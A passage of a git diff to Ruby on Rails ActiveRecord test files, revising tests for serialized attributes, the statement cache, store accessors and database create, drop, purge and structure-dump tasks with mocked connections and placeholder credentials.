- def test_serialized_attributes_before_type_cast_returns_unserialized_value
- Topic.serialize :content, Hash
+ def test_serialized_attribute_calling_dup_method
+ Topic.serialize :content, JSON
- t = Topic.new(content: { foo: :bar })
- assert_equal({ foo: :bar }, t.attributes_before_type_cast["content"])
+ orig = Topic.new(content: { foo: :bar })
+ clone = orig.dup
+ assert_equal(orig.content, clone.content)
+ end
+
+ def test_serialized_json_attribute_returns_unserialized_value
+ Topic.serialize :content, JSON
+ my_post = posts(:welcome)
+
+ t = Topic.new(content: my_post)
t.save!
t.reload
- assert_equal({ foo: :bar }, t.attributes_before_type_cast["content"])
+
+ assert_instance_of(Hash, t.content)
+ assert_equal(my_post.id, t.content["id"])
+ assert_equal(my_post.title, t.content["title"])
end
- def test_serialized_attribute_calling_dup_method
+ def test_json_read_legacy_null
Topic.serialize :content, JSON
- t = Topic.new(:content => { :foo => :bar }).dup
- assert_equal({ :foo => :bar }, t.content_before_type_cast)
+ # Force a row to have a JSON "null" instead of a database NULL (this is how
+ # null values are saved on 4.1 and before)
+ id = Topic.connection.insert "INSERT INTO topics (content) VALUES('null')"
+ t = Topic.find(id)
+
+ assert_nil t.content
+ end
+
+ def test_json_read_db_null
+ Topic.serialize :content, JSON
+
+ # Force a row to have a database NULL instead of a JSON "null"
+ id = Topic.connection.insert "INSERT INTO topics (content) VALUES(NULL)"
+ t = Topic.find(id)
+
+ assert_nil t.content
end
def test_serialized_attribute_declared_in_subclass
@@ -118,10 +140,11 @@ class SerializedAttributeTest < ActiveRecord::TestCase
assert_equal 1, Topic.where(:content => nil).count
end
- def test_serialized_attribute_should_raise_exception_on_save_with_wrong_type
+ def test_serialized_attribute_should_raise_exception_on_assignment_with_wrong_type
Topic.serialize(:content, Hash)
- topic = Topic.new(:content => "string")
- assert_raise(ActiveRecord::SerializationTypeMismatch) { topic.save }
+ assert_raise(ActiveRecord::SerializationTypeMismatch) do
+ Topic.new(content: 'string')
+ end
end
def test_should_raise_exception_on_serialized_attribute_with_type_mismatch
@@ -172,57 +195,63 @@ class SerializedAttributeTest < ActiveRecord::TestCase
end
def test_serialize_with_coder
- coder = Class.new {
- # Identity
- def load(thing)
- thing
+ some_class = Struct.new(:foo) do
+ def self.dump(value)
+ value.foo
end
- # base 64
- def dump(thing)
- [thing].pack('m')
+ def self.load(value)
+ new(value)
end
- }.new
+ end
- Topic.serialize(:content, coder)
- s = 'hello world'
- topic = Topic.new(:content => s)
- assert topic.save
- topic = topic.reload
- assert_equal [s].pack('m'), topic.content
+ Topic.serialize(:content, some_class)
+ topic = Topic.new(:content => some_class.new('my value'))
+ topic.save!
+ topic.reload
+ assert_kind_of some_class, topic.content
+ assert_equal topic.content, some_class.new('my value')
end
- def test_serialize_with_bcrypt_coder
- crypt_coder = Class.new {
- def load(thing)
- return unless thing
- BCrypt::Password.new thing
- end
+ def test_serialize_attribute_via_select_method_when_time_zone_available
+ with_timezone_config aware_attributes: true do
+ Topic.serialize(:content, MyObject)
- def dump(thing)
- BCrypt::Password.create(thing).to_s
- end
- }.new
+ myobj = MyObject.new('value1', 'value2')
+ topic = Topic.create(content: myobj)
- Topic.serialize(:content, crypt_coder)
- password = 'password'
- topic = Topic.new(:content => password)
- assert topic.save
- topic = topic.reload
- assert_kind_of BCrypt::Password, topic.content
- assert_equal(true, topic.content == password, 'password should equal')
+ assert_equal(myobj, Topic.select(:content).find(topic.id).content)
+ assert_raise(ActiveModel::MissingAttributeError) { Topic.select(:id).find(topic.id).content }
+ end
end
- def test_serialize_attribute_via_select_method_when_time_zone_available
- ActiveRecord::Base.time_zone_aware_attributes = true
- Topic.serialize(:content, MyObject)
+ def test_serialize_attribute_can_be_serialized_in_an_integer_column
+ insures = ['life']
+ person = SerializedPerson.new(first_name: 'David', insures: insures)
+ assert person.save
+ person = person.reload
+ assert_equal(insures, person.insures)
+ end
- myobj = MyObject.new('value1', 'value2')
- topic = Topic.create(content: myobj)
+ def test_regression_serialized_default_on_text_column_with_null_false
+ light = TrafficLight.new
+ assert_equal [], light.state
+ assert_equal [], light.long_state
+ end
+
+ def test_serialized_column_should_unserialize_after_update_column
+ t = Topic.create(content: "first")
+ assert_equal("first", t.content)
+
+ t.update_column(:content, Topic.type_for_attribute('content').type_cast_for_database("second"))
+ assert_equal("second", t.content)
+ end
+
+ def test_serialized_column_should_unserialize_after_update_attribute
+ t = Topic.create(content: "first")
+ assert_equal("first", t.content)
- assert_equal(myobj, Topic.select(:content).find(topic.id).content)
- assert_raise(ActiveModel::MissingAttributeError) { Topic.select(:id).find(topic.id).content }
- ensure
- ActiveRecord::Base.time_zone_aware_attributes = false
+ t.update_attribute(:content, "second")
+ assert_equal("second", t.content)
end
end
diff --git a/activerecord/test/cases/statement_cache_test.rb b/activerecord/test/cases/statement_cache_test.rb
new file mode 100644
index 0000000000..a704b861cb
--- /dev/null
+++ b/activerecord/test/cases/statement_cache_test.rb
@@ -0,0 +1,98 @@
+require 'cases/helper'
+require 'models/book'
+require 'models/liquid'
+require 'models/molecule'
+require 'models/electron'
+
+module ActiveRecord
+ class StatementCacheTest < ActiveRecord::TestCase
+ def setup
+ @connection = ActiveRecord::Base.connection
+ end
+
+ #Cache v 1.1 tests
+ def test_statement_cache
+ Book.create(name: "my book")
+ Book.create(name: "my other book")
+
+ cache = StatementCache.create(Book.connection) do |params|
+ Book.where(:name => params.bind)
+ end
+
+ b = cache.execute([ "my book" ], Book, Book.connection)
+ assert_equal "my book", b[0].name
+ b = cache.execute([ "my other book" ], Book, Book.connection)
+ assert_equal "my other book", b[0].name
+ end
+
+
+ def test_statement_cache_id
+ b1 = Book.create(name: "my book")
+ b2 = Book.create(name: "my other book")
+
+ cache = StatementCache.create(Book.connection) do |params|
+ Book.where(id: params.bind)
+ end
+
+ b = cache.execute([ b1.id ], Book, Book.connection)
+ assert_equal b1.name, b[0].name
+ b = cache.execute([ b2.id ], Book, Book.connection)
+ assert_equal b2.name, b[0].name
+ end
+
+ def test_find_or_create_by
+ Book.create(name: "my book")
+
+ a = Book.find_or_create_by(name: "my book")
+ b = Book.find_or_create_by(name: "my other book")
+
+ assert_equal("my book", a.name)
+ assert_equal("my other book", b.name)
+ end
+
+ #End
+
+ def test_statement_cache_with_simple_statement
+ cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
+ Book.where(name: "my book").where("author_id > 3")
+ end
+
+ Book.create(name: "my book", author_id: 4)
+
+ books = cache.execute([], Book, Book.connection)
+ assert_equal "my book", books[0].name
+ end
+
+ def test_statement_cache_with_complex_statement
+ cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
+ Liquid.joins(:molecules => :electrons).where('molecules.name' => 'dioxane', 'electrons.name' => 'lepton')
+ end
+
+ salty = Liquid.create(name: 'salty')
+ molecule = salty.molecules.create(name: 'dioxane')
+ molecule.electrons.create(name: 'lepton')
+
+ liquids = cache.execute([], Book, Book.connection)
+ assert_equal "salty", liquids[0].name
+ end
+
+ def test_statement_cache_values_differ
+ cache = ActiveRecord::StatementCache.create(Book.connection) do |params|
+ Book.where(name: "my book")
+ end
+
+ 3.times do
+ Book.create(name: "my book")
+ end
+
+ first_books = cache.execute([], Book, Book.connection)
+
+ 3.times do
+ Book.create(name: "my book")
+ end
+
+ additional_books = cache.execute([], Book, Book.connection)
+ assert first_books != additional_books
+ end
+ end
+end
diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb
index 562ca8d9ff..e9cdf94c99 100644
--- a/activerecord/test/cases/store_test.rb
+++ b/activerecord/test/cases/store_test.rb
@@ -35,6 +35,12 @@ class StoreTest < ActiveRecord::TestCase
assert_equal '(123) 456-7890', @john.phone_number
end
+ test "overriding a read accessor using super" do
+ @john.settings[:color] = nil
+
+ assert_equal 'red', @john.color
+ end
+
test "updating the store will mark it as changed" do
@john.color = 'red'
assert @john.settings_changed?
@@ -66,10 +72,16 @@ class StoreTest < ActiveRecord::TestCase
assert_equal '1234567890', @john.settings[:phone_number]
end
+ test "overriding a write accessor using super" do
+ @john.color = 'yellow'
+
+ assert_equal 'blue', @john.color
+ end
+
test "preserve store attributes data in HashWithIndifferentAccess format without any conversion" do
- @john.json_data = HashWithIndifferentAccess.new(:height => 'tall', 'weight' => 'heavy')
+ @john.json_data = ActiveSupport::HashWithIndifferentAccess.new(:height => 'tall', 'weight' => 'heavy')
@john.height = 'low'
- assert_equal true, @john.json_data.instance_of?(HashWithIndifferentAccess)
+ assert_equal true, @john.json_data.instance_of?(ActiveSupport::HashWithIndifferentAccess)
assert_equal 'low', @john.json_data[:height]
assert_equal 'low', @john.json_data['height']
assert_equal 'heavy', @john.json_data[:weight]
@@ -95,7 +107,7 @@ class StoreTest < ActiveRecord::TestCase
test "convert store attributes from any format other than Hash or HashWithIndifferent access losing the data" do
@john.json_data = "somedata"
@john.height = 'low'
- assert_equal true, @john.json_data.instance_of?(HashWithIndifferentAccess)
+ assert_equal true, @john.json_data.instance_of?(ActiveSupport::HashWithIndifferentAccess)
assert_equal 'low', @john.json_data[:height]
assert_equal 'low', @john.json_data['height']
assert_equal false, @john.json_data.delete_if { |k, v| k == 'height' }.any?
@@ -139,9 +151,44 @@ class StoreTest < ActiveRecord::TestCase
assert_equal [:color, :homepage, :favorite_food], Admin::User.stored_attributes[:settings]
end
- test "stores_attributes are class level settings" do
- assert_raise(NoMethodError) { @john.stored_attributes = Hash.new }
- assert_raise(NoMethodError) { @john.stored_attributes }
+ test "stored_attributes are tracked per class" do
+ first_model = Class.new(ActiveRecord::Base) do
+ store_accessor :data, :color
+ end
+ second_model = Class.new(ActiveRecord::Base) do
+ store_accessor :data, :width, :height
+ end
+
+ assert_equal [:color], first_model.stored_attributes[:data]
+ assert_equal [:width, :height], second_model.stored_attributes[:data]
end
+ test "stored_attributes are tracked per subclass" do
+ first_model = Class.new(ActiveRecord::Base) do
+ store_accessor :data, :color
+ end
+ second_model = Class.new(first_model) do
+ store_accessor :data, :width, :height
+ end
+ third_model = Class.new(first_model) do
+ store_accessor :data, :area, :volume
+ end
+
+ assert_equal [:color], first_model.stored_attributes[:data]
+ assert_equal [:color, :width, :height], second_model.stored_attributes[:data]
+ assert_equal [:color, :area, :volume], third_model.stored_attributes[:data]
+ end
+
+ test "YAML coder initializes the store when a Nil value is given" do
+ assert_equal({}, @john.params)
+ end
+
+ test "dump, load and dump again a model" do
+ dumped = YAML.dump(@john)
+ loaded = YAML.load(dumped)
+ assert_equal @john, loaded
+
+ second_dump = YAML.dump(loaded)
+ assert_equal @john, YAML.load(second_dump)
+ end
end
diff --git a/activerecord/test/cases/tasks/database_tasks_test.rb b/activerecord/test/cases/tasks/database_tasks_test.rb
index 4f3489b7a5..2fa033ed45 100644
--- a/activerecord/test/cases/tasks/database_tasks_test.rb
+++ b/activerecord/test/cases/tasks/database_tasks_test.rb
@@ -1,4 +1,5 @@
require 'cases/helper'
+require 'active_record/tasks/database_tasks'
module ActiveRecord
module DatabaseTasksSetupper
@@ -11,10 +12,10 @@ module ActiveRecord
end
ADAPTERS_TASKS = {
- :mysql => :mysql_tasks,
- :mysql2 => :mysql_tasks,
- :postgresql => :postgresql_tasks,
- :sqlite3 => :sqlite_tasks
+ mysql: :mysql_tasks,
+ mysql2: :mysql_tasks,
+ postgresql: :postgresql_tasks,
+ sqlite3: :sqlite_tasks
}
class DatabaseTasksRegisterTask < ActiveRecord::TestCase
@@ -31,8 +32,14 @@ module ActiveRecord
ActiveRecord::Tasks::DatabaseTasks.register_task(/foo/, klazz)
ActiveRecord::Tasks::DatabaseTasks.structure_dump({'adapter' => :foo}, "awesome-file.sql")
end
+
+ def test_unregistered_task
+ assert_raise(ActiveRecord::Tasks::DatabaseNotSupported) do
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump({'adapter' => :bar}, "awesome-file.sql")
+ end
+ end
end
-
+
class DatabaseTasksCreateTest < ActiveRecord::TestCase
include DatabaseTasksSetupper
@@ -122,11 +129,22 @@ module ActiveRecord
)
end
- def test_creates_test_database_when_environment_is_database
+ def test_creates_test_and_development_databases_when_env_was_not_specified
ActiveRecord::Tasks::DatabaseTasks.expects(:create).
with('database' => 'dev-db')
ActiveRecord::Tasks::DatabaseTasks.expects(:create).
with('database' => 'test-db')
+ ENV.expects(:[]).with('RAILS_ENV').returns(nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.create_current(
+ ActiveSupport::StringInquirer.new('development')
+ )
+ end
+
+ def test_creates_only_development_database_when_rails_env_is_development
+ ActiveRecord::Tasks::DatabaseTasks.expects(:create).
+ with('database' => 'dev-db')
+ ENV.expects(:[]).with('RAILS_ENV').returns('development')
ActiveRecord::Tasks::DatabaseTasks.create_current(
ActiveSupport::StringInquirer.new('development')
@@ -136,7 +154,7 @@ module ActiveRecord
def test_establishes_connection_for_the_given_environment
ActiveRecord::Tasks::DatabaseTasks.stubs(:create).returns true
- ActiveRecord::Base.expects(:establish_connection).with('development')
+ ActiveRecord::Base.expects(:establish_connection).with(:development)
ActiveRecord::Tasks::DatabaseTasks.create_current(
ActiveSupport::StringInquirer.new('development')
@@ -187,7 +205,7 @@ module ActiveRecord
ActiveRecord::Tasks::DatabaseTasks.drop_all
end
- def test_creates_configurations_with_local_ip
+ def test_drops_configurations_with_local_ip
@configurations[:development].merge!('host' => '127.0.0.1')
ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
@@ -195,7 +213,7 @@ module ActiveRecord
ActiveRecord::Tasks::DatabaseTasks.drop_all
end
- def test_creates_configurations_with_local_host
+ def test_drops_configurations_with_local_host
@configurations[:development].merge!('host' => 'localhost')
ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
@@ -203,7 +221,7 @@ module ActiveRecord
ActiveRecord::Tasks::DatabaseTasks.drop_all
end
- def test_creates_configurations_with_blank_hosts
+ def test_drops_configurations_with_blank_hosts
@configurations[:development].merge!('host' => nil)
ActiveRecord::Tasks::DatabaseTasks.expects(:drop)
@@ -223,7 +241,7 @@ module ActiveRecord
ActiveRecord::Base.stubs(:configurations).returns(@configurations)
end
- def test_creates_current_environment_database
+ def test_drops_current_environment_database
ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
with('database' => 'prod-db')
@@ -232,11 +250,22 @@ module ActiveRecord
)
end
- def test_creates_test_database_when_environment_is_database
+ def test_drops_test_and_development_databases_when_env_was_not_specified
ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
with('database' => 'dev-db')
ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
with('database' => 'test-db')
+ ENV.expects(:[]).with('RAILS_ENV').returns(nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.drop_current(
+ ActiveSupport::StringInquirer.new('development')
+ )
+ end
+
+ def test_drops_only_development_database_when_rails_env_is_development
+ ActiveRecord::Tasks::DatabaseTasks.expects(:drop).
+ with('database' => 'dev-db')
+ ENV.expects(:[]).with('RAILS_ENV').returns('development')
ActiveRecord::Tasks::DatabaseTasks.drop_current(
ActiveSupport::StringInquirer.new('development')
@@ -244,6 +273,19 @@ module ActiveRecord
end
end
+ class DatabaseTasksMigrateTest < ActiveRecord::TestCase
+ def test_migrate_receives_correct_env_vars
+ verbose, version = ENV['VERBOSE'], ENV['VERSION']
+
+ ENV['VERBOSE'] = 'false'
+ ENV['VERSION'] = '4'
+
+ ActiveRecord::Migrator.expects(:migrate).with(ActiveRecord::Migrator.migrations_paths, 4)
+ ActiveRecord::Tasks::DatabaseTasks.migrate
+ ensure
+ ENV['VERBOSE'], ENV['VERSION'] = verbose, version
+ end
+ end
class DatabaseTasksPurgeTest < ActiveRecord::TestCase
include DatabaseTasksSetupper
@@ -256,9 +298,38 @@ module ActiveRecord
end
end
+ class DatabaseTasksPurgeCurrentTest < ActiveRecord::TestCase
+ def test_purges_current_environment_database
+ configurations = {
+ 'development' => {'database' => 'dev-db'},
+ 'test' => {'database' => 'test-db'},
+ 'production' => {'database' => 'prod-db'}
+ }
+ ActiveRecord::Base.stubs(:configurations).returns(configurations)
+
+ ActiveRecord::Tasks::DatabaseTasks.expects(:purge).
+ with('database' => 'prod-db')
+ ActiveRecord::Base.expects(:establish_connection).with(:production)
+
+ ActiveRecord::Tasks::DatabaseTasks.purge_current('production')
+ end
+ end
+
+ class DatabaseTasksPurgeAllTest < ActiveRecord::TestCase
+ def test_purge_all_local_configurations
+ configurations = {:development => {'database' => 'my-db'}}
+ ActiveRecord::Base.stubs(:configurations).returns(configurations)
+
+ ActiveRecord::Tasks::DatabaseTasks.expects(:purge).
+ with('database' => 'my-db')
+
+ ActiveRecord::Tasks::DatabaseTasks.purge_all
+ end
+ end
+
class DatabaseTasksCharsetTest < ActiveRecord::TestCase
include DatabaseTasksSetupper
-
+
ADAPTERS_TASKS.each do |k, v|
define_method("test_#{k}_charset") do
eval("@#{v}").expects(:charset)
@@ -269,7 +340,7 @@ module ActiveRecord
class DatabaseTasksCollationTest < ActiveRecord::TestCase
include DatabaseTasksSetupper
-
+
ADAPTERS_TASKS.each do |k, v|
define_method("test_#{k}_collation") do
eval("@#{v}").expects(:collation)
@@ -299,4 +370,11 @@ module ActiveRecord
end
end
end
+
+ class DatabaseTasksCheckSchemaFileTest < ActiveRecord::TestCase
+ def test_check_schema_file
+ Kernel.expects(:abort).with(regexp_matches(/awesome-file.sql/))
+ ActiveRecord::Tasks::DatabaseTasks.check_schema_file("awesome-file.sql")
+ end
+ end
end
diff --git a/activerecord/test/cases/tasks/mysql_rake_test.rb b/activerecord/test/cases/tasks/mysql_rake_test.rb
index 69a049fcfa..f58535f044 100644
--- a/activerecord/test/cases/tasks/mysql_rake_test.rb
+++ b/activerecord/test/cases/tasks/mysql_rake_test.rb
@@ -1,5 +1,6 @@
require 'cases/helper'
+if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
module ActiveRecord
class MysqlDBCreateTest < ActiveRecord::TestCase
def setup
@@ -53,84 +54,109 @@ module ActiveRecord
ActiveRecord::Tasks::DatabaseTasks.create @configuration
end
- end
-
- class MysqlDBCreateAsRootTest < ActiveRecord::TestCase
- def setup
- unless current_adapter?(:MysqlAdapter)
- return skip("only tested on mysql")
- end
-
- @connection = stub(:create_database => true, :execute => true)
- @error = Mysql::Error.new "Invalid permissions"
- @configuration = {
- 'adapter' => 'mysql',
- 'database' => 'my-app-db',
- 'username' => 'pat',
- 'password' => 'wossname'
- }
-
- $stdin.stubs(:gets).returns("secret\n")
- $stdout.stubs(:print).returns(nil)
- @error.stubs(:errno).returns(1045)
- ActiveRecord::Base.stubs(:connection).returns(@connection)
- ActiveRecord::Base.stubs(:establish_connection).
- raises(@error).
- then.returns(true)
- end
- def test_root_password_is_requested
- skip "only if mysql is available" unless defined?(::Mysql)
- $stdin.expects(:gets).returns("secret\n")
-
- ActiveRecord::Tasks::DatabaseTasks.create @configuration
- end
+ def test_create_when_database_exists_outputs_info_to_stderr
+ $stderr.expects(:puts).with("my-app-db already exists").once
- def test_connection_established_as_root
- ActiveRecord::Base.expects(:establish_connection).with(
- 'adapter' => 'mysql',
- 'database' => nil,
- 'username' => 'root',
- 'password' => 'secret'
+ ActiveRecord::Base.connection.stubs(:create_database).raises(
+ ActiveRecord::StatementInvalid.new("Can't create database 'dev'; database exists:")
)
ActiveRecord::Tasks::DatabaseTasks.create @configuration
end
+ end
- def test_database_created_by_root
- @connection.expects(:create_database).
- with('my-app-db', :charset => 'utf8', :collation => 'utf8_unicode_ci')
-
- ActiveRecord::Tasks::DatabaseTasks.create @configuration
- end
+ if current_adapter?(:MysqlAdapter)
+ class MysqlDBCreateAsRootTest < ActiveRecord::TestCase
+ def setup
+ @connection = stub("Connection", create_database: true)
+ @error = Mysql::Error.new "Invalid permissions"
+ @configuration = {
+ 'adapter' => 'mysql',
+ 'database' => 'my-app-db',
+ 'username' => 'pat',
+ 'password' => 'wossname'
+ }
+
+ $stdin.stubs(:gets).returns("secret\n")
+ $stdout.stubs(:print).returns(nil)
+ @error.stubs(:errno).returns(1045)
+ ActiveRecord::Base.stubs(:connection).returns(@connection)
+ ActiveRecord::Base.stubs(:establish_connection).
+ raises(@error).
+ then.returns(true)
+ end
- def test_grant_privileges_for_normal_user
- @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON my-app-db.* TO 'pat'@'localhost' IDENTIFIED BY 'wossname' WITH GRANT OPTION;")
+ if defined?(::Mysql)
+ def test_root_password_is_requested
+ assert_permissions_granted_for "pat"
+ $stdin.expects(:gets).returns("secret\n")
- ActiveRecord::Tasks::DatabaseTasks.create @configuration
- end
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+ end
- def test_connection_established_as_normal_user
- ActiveRecord::Base.expects(:establish_connection).returns do
+ def test_connection_established_as_root
+ assert_permissions_granted_for "pat"
ActiveRecord::Base.expects(:establish_connection).with(
'adapter' => 'mysql',
- 'database' => 'my-app-db',
- 'username' => 'pat',
+ 'database' => nil,
+ 'username' => 'root',
'password' => 'secret'
)
- raise @error
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
end
- ActiveRecord::Tasks::DatabaseTasks.create @configuration
- end
+ def test_database_created_by_root
+ assert_permissions_granted_for "pat"
+ @connection.expects(:create_database).
+ with('my-app-db', :charset => 'utf8', :collation => 'utf8_unicode_ci')
- def test_sends_output_to_stderr_when_other_errors
- @error.stubs(:errno).returns(42)
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
- $stderr.expects(:puts).at_least_once.returns(nil)
+ def test_grant_privileges_for_normal_user
+ assert_permissions_granted_for "pat"
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
- ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ def test_do_not_grant_privileges_for_root_user
+ @configuration['username'] = 'root'
+ @configuration['password'] = ''
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_connection_established_as_normal_user
+ assert_permissions_granted_for "pat"
+ ActiveRecord::Base.expects(:establish_connection).returns do
+ ActiveRecord::Base.expects(:establish_connection).with(
+ 'adapter' => 'mysql',
+ 'database' => 'my-app-db',
+ 'username' => 'pat',
+ 'password' => 'secret'
+ )
+
+ raise @error
+ end
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ def test_sends_output_to_stderr_when_other_errors
+ @error.stubs(:errno).returns(42)
+
+ $stderr.expects(:puts).at_least_once.returns(nil)
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
+
+ private
+ def assert_permissions_granted_for(db_user)
+ db_name = @configuration['database']
+ db_password = @configuration['password']
+ @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON #{db_name}.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_password}' WITH GRANT OPTION;")
+ end
end
end
@@ -171,8 +197,8 @@ module ActiveRecord
ActiveRecord::Base.stubs(:establish_connection).returns(true)
end
- def test_establishes_connection_to_test_database
- ActiveRecord::Base.expects(:establish_connection).with(:test)
+ def test_establishes_connection_to_the_appropriate_database
+ ActiveRecord::Base.expects(:establish_connection).with(@configuration)
ActiveRecord::Tasks::DatabaseTasks.purge @configuration
end
@@ -239,10 +265,30 @@ module ActiveRecord
def test_structure_dump
filename = "awesome-file.sql"
- Kernel.expects(:system).with("mysqldump", "--result-file", filename, "--no-data", "test-db")
+ Kernel.expects(:system).with("mysqldump", "--result-file", filename, "--no-data", "test-db").returns(true)
ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
end
+
+ def test_warn_when_external_structure_dump_fails
+ filename = "awesome-file.sql"
+ Kernel.expects(:system).with("mysqldump", "--result-file", filename, "--no-data", "test-db").returns(false)
+
+ warnings = capture(:stderr) do
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
+ end
+
+ assert_match(/Could not dump the database structure/, warnings)
+ end
+
+ def test_structure_dump_with_port_number
+ filename = "awesome-file.sql"
+ Kernel.expects(:system).with("mysqldump", "--port", "10000", "--result-file", filename, "--no-data", "test-db").returns(true)
+
+ ActiveRecord::Tasks::DatabaseTasks.structure_dump(
+ @configuration.merge('port' => 10000),
+ filename)
+ end
end
class MySQLStructureLoadTest < ActiveRecord::TestCase
@@ -262,3 +308,4 @@ module ActiveRecord
end
end
+end
diff --git a/activerecord/test/cases/tasks/postgresql_rake_test.rb b/activerecord/test/cases/tasks/postgresql_rake_test.rb
index 62acd53003..0d574d071c 100644
--- a/activerecord/test/cases/tasks/postgresql_rake_test.rb
+++ b/activerecord/test/cases/tasks/postgresql_rake_test.rb
@@ -1,5 +1,6 @@
require 'cases/helper'
+if current_adapter?(:PostgreSQLAdapter)
module ActiveRecord
class PostgreSQLDBCreateTest < ActiveRecord::TestCase
def setup
@@ -61,6 +62,16 @@ module ActiveRecord
ActiveRecord::Tasks::DatabaseTasks.create @configuration
end
+
+ def test_create_when_database_exists_outputs_info_to_stderr
+ $stderr.expects(:puts).with("my-app-db already exists").once
+
+ ActiveRecord::Base.connection.stubs(:create_database).raises(
+ ActiveRecord::StatementInvalid.new('database "my-app-db" already exists')
+ )
+
+ ActiveRecord::Tasks::DatabaseTasks.create @configuration
+ end
end
class PostgreSQLDBDropTest < ActiveRecord::TestCase
@@ -196,7 +207,7 @@ module ActiveRecord
@connection.expects(:schema_search_path).returns("foo")
ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
- assert File.exists?(filename)
+ assert File.exist?(filename)
ensure
FileUtils.rm(filename)
end
@@ -215,12 +226,20 @@ module ActiveRecord
Kernel.stubs(:system)
end
- def test_structure_dump
+ def test_structure_load
filename = "awesome-file.sql"
- Kernel.expects(:system).with("psql -f #{filename} my-app-db")
+ Kernel.expects(:system).with("psql -q -f #{filename} my-app-db")
+
+ ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
+ end
+
+ def test_structure_load_accepts_path_with_spaces
+ filename = "awesome file.sql"
+ Kernel.expects(:system).with("psql -q -f awesome\\ file.sql my-app-db")
ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
end
end
end
+end
diff --git a/activerecord/test/cases/tasks/sqlite_rake_test.rb b/activerecord/test/cases/tasks/sqlite_rake_test.rb
index 7209c0f14d..750d5e42dc 100644
--- a/activerecord/test/cases/tasks/sqlite_rake_test.rb
+++ b/activerecord/test/cases/tasks/sqlite_rake_test.rb
@@ -1,6 +1,7 @@
require 'cases/helper'
require 'pathname'
+if current_adapter?(:SQLite3Adapter)
module ActiveRecord
class SqliteDBCreateTest < ActiveRecord::TestCase
def setup
@@ -159,8 +160,8 @@ module ActiveRecord
filename = "awesome-file.sql"
ActiveRecord::Tasks::DatabaseTasks.structure_dump @configuration, filename, '/rails/root'
- assert File.exists?(dbfile)
- assert File.exists?(filename)
+ assert File.exist?(dbfile)
+ assert File.exist?(filename)
ensure
FileUtils.rm_f(filename)
FileUtils.rm_f(dbfile)
@@ -182,10 +183,11 @@ module ActiveRecord
open(filename, 'w') { |f| f.puts("select datetime('now', 'localtime');") }
ActiveRecord::Tasks::DatabaseTasks.structure_load @configuration, filename, '/rails/root'
- assert File.exists?(dbfile)
+ assert File.exist?(dbfile)
ensure
FileUtils.rm_f(filename)
FileUtils.rm_f(dbfile)
end
end
end
+end
diff --git a/activerecord/test/cases/test_case.rb b/activerecord/test/cases/test_case.rb
index f3f7054794..5ba17359f0 100644
--- a/activerecord/test/cases/test_case.rb
+++ b/activerecord/test/cases/test_case.rb
@@ -1,9 +1,123 @@
-ActiveSupport::Deprecation.silence do
- require 'active_record/test_case'
-end
+require 'active_support/test_case'
+
+module ActiveRecord
+ # = Active Record Test Case
+ #
+ # Defines some test assertions to test against SQL queries.
+ class TestCase < ActiveSupport::TestCase #:nodoc:
+ def teardown
+ SQLCounter.clear_log
+ end
+
+ def assert_date_from_db(expected, actual, message = nil)
+ assert_equal expected.to_s, actual.to_s, message
+ end
+
+ def capture(stream)
+ stream = stream.to_s
+ captured_stream = Tempfile.new(stream)
+ stream_io = eval("$#{stream}")
+ origin_stream = stream_io.dup
+ stream_io.reopen(captured_stream)
+
+ yield
+
+ stream_io.rewind
+ return captured_stream.read
+ ensure
+ captured_stream.close
+ captured_stream.unlink
+ stream_io.reopen(origin_stream)
+ end
+
+ def capture_sql
+ SQLCounter.clear_log
+ yield
+ SQLCounter.log_all.dup
+ end
+
+ def assert_sql(*patterns_to_match)
+ capture_sql { yield }
+ ensure
+ failed_patterns = []
+ patterns_to_match.each do |pattern|
+ failed_patterns << pattern unless SQLCounter.log_all.any?{ |sql| pattern === sql }
+ end
+ assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map(&:inspect).join(', ')} not found.#{SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{SQLCounter.log.join("\n")}"}"
+ end
+
+ def assert_queries(num = 1, options = {})
+ ignore_none = options.fetch(:ignore_none) { num == :any }
+ SQLCounter.clear_log
+ x = yield
+ the_log = ignore_none ? SQLCounter.log_all : SQLCounter.log
+ if num == :any
+ assert_operator the_log.size, :>=, 1, "1 or more queries expected, but none were executed."
+ else
+ mesg = "#{the_log.size} instead of #{num} queries were executed.#{the_log.size == 0 ? '' : "\nQueries:\n#{the_log.join("\n")}"}"
+ assert_equal num, the_log.size, mesg
+ end
+ x
+ end
+
+ def assert_no_queries(options = {}, &block)
+ options.reverse_merge! ignore_none: true
+ assert_queries(0, options, &block)
+ end
+
+ def assert_column(model, column_name, msg=nil)
+ assert has_column?(model, column_name), msg
+ end
+
+ def assert_no_column(model, column_name, msg=nil)
+ assert_not has_column?(model, column_name), msg
+ end
-ActiveRecord::TestCase.class_eval do
- def sqlite3? connection
- connection.class.name.split('::').last == "SQLite3Adapter"
+ def has_column?(model, column_name)
+ model.reset_column_information
+ model.column_names.include?(column_name.to_s)
+ end
end
+
+ class SQLCounter
+ class << self
